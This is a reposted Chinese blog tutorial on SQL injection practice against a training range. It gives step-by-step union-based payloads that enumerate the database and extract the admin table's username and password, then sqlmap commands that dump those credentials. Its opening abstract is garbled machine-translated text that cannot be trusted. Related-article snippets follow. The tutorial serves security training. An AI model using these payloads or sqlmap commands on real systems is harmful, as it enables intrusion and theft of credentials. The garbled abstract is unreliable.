靶场sql注入练手----sqlmap篇(纯手打)

摘要:
Id=1和1=1订单3输入。页面返回错误。字段数为2。步骤3:判断是否显示点结构?Id=1 and 1=2 unionselect 1,2 Enter,and 2出现在页面上,表示我们可以在数字2中显示所需的内容。步骤4:查询相关内容。是否查询当前数据库名称结构?id=1和1=2唯一选择1,列_名称来自信息_架构。columnswotherable_schema=database()和table_Name='admin'限制2,1输入以发现管理表中有三个字段idusernamepassword。查询字段内容结构?

靶场地址:封神台

方法一、首先尝试手工找注入点判断

第一步,判断是否存在sql注入漏洞
构造 ?id=1 and 1=1 ,回车,页面返回正常
构造 ?id=1 and 1=2 ,回车,页面不正常,初步判断这里 可能 存在一个注入漏洞
 
第二步:判断字段数
构造 ?id=1 and 1=1 order by 1 回车,页面正常
构造 ?id=1 and 1=1 order by 2 回车,页面正常
构造 ?id=1 and 1=1 order by 3 回车,页面返回 错误,判断字段数为   2
 
第三步:判断会显点
构造 ?id=1 and 1=2 union select 1,2 回车,页面出现了  2  ,说明我们可以在数字  2  处显示我们想要的内容
 
第四步:查询相关内容
 
查询当前数据库名
构造 ?id=1 and 1=2 union select 1,database() 回车
 

查询当前数据库版本

构造 ?id=1 and 1=2 union select 1,version() 回车
 
查询当前数据库 表名
构造 ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 回车
 

绝大数情况下,管理员的账号密码都在admin表里

 
查询字段名
构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1 回车
 
构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1 回车
 
构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1 回车
 

查出 admin 表里 有  id   username  password  三个字段

 
查询字段内容
构造 ?id=1 and 1=2 union select 1,username from admin  limit 0,1 回车
 
构造 ?id=1 and 1=2 union select 1,password from admin  limit 1,1 回车
 

limit 1,1 没有回显,说明只有一个用户

构造 ?id=1 and 1=2 union select 1,password from admin  limit 0,1 回车
 
方法二、上sqlmap
 
(1) 猜解是否能注入
sqlmap.py -u “xxx:8003/index.php?id=1”
(2)猜解表
sqlmap.py -u “xxx:8003/index.php?id=1” --tables

根据猜解的表进行猜解表的字段

win: python sqlmap.py -u "xxx:8003/index.php?id=1" --columns -T admin

根据字段猜解内容

sqlmap.py -u “xxx.xxx.xxx.xxx:8003/index.php?id=1” -D maoshe -T admin -C password,username --dump #-D 接数据库名字 -T接表名 -C接要查的字段名称逗号隔开 --dump 生成dump文件

爆出需要的字段

方法三、穿山甲等其他工具
       以下省略n个字段
 
声明:博客内容仅供学习交流,用于违法目的请自行负责
 
 

免责声明:文章转载自《靶场sql注入练手----sqlmap篇(纯手打)》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇配置mysqllogstash配置文件详解下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

SQL总结(一)基本查询

SQL查询的事情很简单,但是常常因为很简单的事情而出错。遇到一些比较复杂的查询我们更是忘记了SQL查询的基本语法。本文希望通过简单的总结,把常用的查询方法予以总结,希望能够明确在心。 场景:学生信息系统,包括学生信息、教师信息、专业信息和选课信息。 --学生信息表 IF OBJECT_ID (N'Students', N'U') IS NOT NULL...

SQL查询一个表的总记录数的方法

一、简单查询语句 1. 查看表结构 SQL>DESC emp; 2. 查询所有列 SQL>SELECT * FROM emp; 3. 查询指定列 SQL>SELECT empmo, ename, mgr FROM emp; SQL>SELECT DISTINCT mgr FROM emp; 只显示结果不同的项 4. 查询指定行 S...

(4.40)sql server默认连接选项

一、SQLserver 默认连接选项 当我们连接sqlserver数据库时,我们发现Sqlserver Profiler 里面的Audit Login 事件: -- network protocol: TCP/IP 1    set quoted_identifieron 2    set arithabortoff 3    set numeric_ro...

SQL调用另一台服务器的表及存储过程(SQL函数openrowset()的使用以及相关问题处理)

--查询表select * from openrowset('SQLOLEDB', 'IP'; 'sa'; '密码',数据库名称.dbo.表名称) --查询存储--示例1select * from openrowset('SQLOLEDB', 'SERVER=IP;uid=sa;pwd=密码;Database=数据库名称','SET FMTONLY OFF...

element-ui中Select 选择器列表内容居中

<el-select v-model="tenantCont" placeholder="请输入机构标识"> <el-option-group v-for="group in options" :key="group.label" :label="group.label"...

[转]Android 操作SQLite基本用法

在Android开发中SQLite起着很重要的作用,网上SQLite的教程有很多很多,不过那些教程大多数都讲得不是很全面。本人总结了一些SQLite的常用的方法,借着论坛的大赛,跟大家分享分享的。一.SQLite的介绍1.SQLite简介SQLite是一款轻型的数据库,是遵守ACID的关联式数据库管理系统,它的设计目标是嵌入  式的,而且目前已经在很多嵌入...